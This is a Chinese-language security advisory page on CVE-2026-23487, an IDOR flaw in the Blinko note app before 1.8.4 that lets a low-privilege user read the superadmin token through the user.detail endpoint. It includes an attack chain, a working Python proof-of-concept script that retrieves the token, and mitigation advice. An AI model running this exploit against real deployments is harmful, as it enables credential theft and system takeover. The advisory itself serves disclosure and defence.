IPBUF安全漏洞报告
English
CVE-2026-23487 CVSS 6.5 中危

CVE-2026-23487: Blinko IDOR漏洞泄露超级管理员令牌

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-23487
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Blinko

相关标签

IDOR权限绕过信息泄露BlinkoCVE-2026-23487

漏洞概述

Blinko是一个AI驱动的卡片式笔记项目。在1.8.4版本之前,该系统存在一个不安全的直接对象引用(IDOR)漏洞。由于缺乏适当的访问控制验证,攻击者可以通过`user.detail`端点获取Superadmin Token。该漏洞允许低权限用户泄露敏感的管理员凭证,进而可能导致系统被完全接管。官方已在1.8.4版本中修复了此问题。

技术细节

该漏洞的根源在于Blinko项目的`user.detail`端点实现了不安全的直接对象引用(IDOR)。在正常的业务逻辑中,当请求查看特定用户详情时,系统应当严格验证当前会话用户是否具有查看目标用户信息的权限。然而,在1.8.4版本之前,该端点仅依据传入的用户ID参数(如`id=1`)来查询数据库并返回结果,完全缺失了横向权限校验机制。由于CVSS向量显示攻击复杂度低且无需用户交互,攻击者只需拥有一个普通低权限账户(PR:L),即可通过API调用直接请求超级管理员的用户ID。服务器会错误地将包含Superadmin Token的敏感JSON数据响应给低权限攻击者。获取此Token后,攻击者实际上获得了系统的最高控制权,虽然CVSS评分未计分完整性和可用性影响,但实际上攻击者可利用Token接管系统,造成严重的安全风险。

攻击链分析

STEP 1
步骤1
攻击者注册或登录一个普通低权限账户。
STEP 2
步骤2
攻击者分析应用接口,发现`user.detail`端点接受ID参数。
STEP 3
步骤3
攻击者利用低权限会话,构造请求访问`user.detail?id=1`(假设1为超级管理员ID)。
STEP 4
步骤4
服务器因未校验权限,直接返回超级管理员的详细信息,包含Token。
STEP 5
步骤5
攻击者利用泄露的Token以管理员身份接管系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000" login_endpoint = f"{target_url}/api/user/login" vulnerable_endpoint = f"{target_url}/api/user/detail" # Attacker's low-privileged credentials attacker_credentials = { "username": "lowpriv_user", "password": "password123" } # 1. Login as low-privileged user session = requests.Session() login_resp = session.post(login_endpoint, json=attacker_credentials) if login_resp.status_code == 200: print("[+] Login successful") # 2. Exploit IDOR to get Superadmin Token # Assuming ID 1 is the Superadmin (common default) params = {"id": 1} exploit_resp = session.get(vulnerable_endpoint, params=params) if exploit_resp.status_code == 200: data = exploit_resp.json() # Check if token is present in the response if "token" in data: print(f"[+] Exploit Successful! Superadmin Token: {data['token']}") else: print("[-] Token not found in response. Response data:") print(data) else: print(f"[-] Exploit request failed with status: {exploit_resp.status_code}") else: print("[-] Login failed")

影响范围

Blinko < 1.8.4

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截对`/api/user/detail`接口中非本人ID的访问请求,或者暂时禁用该功能接口直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表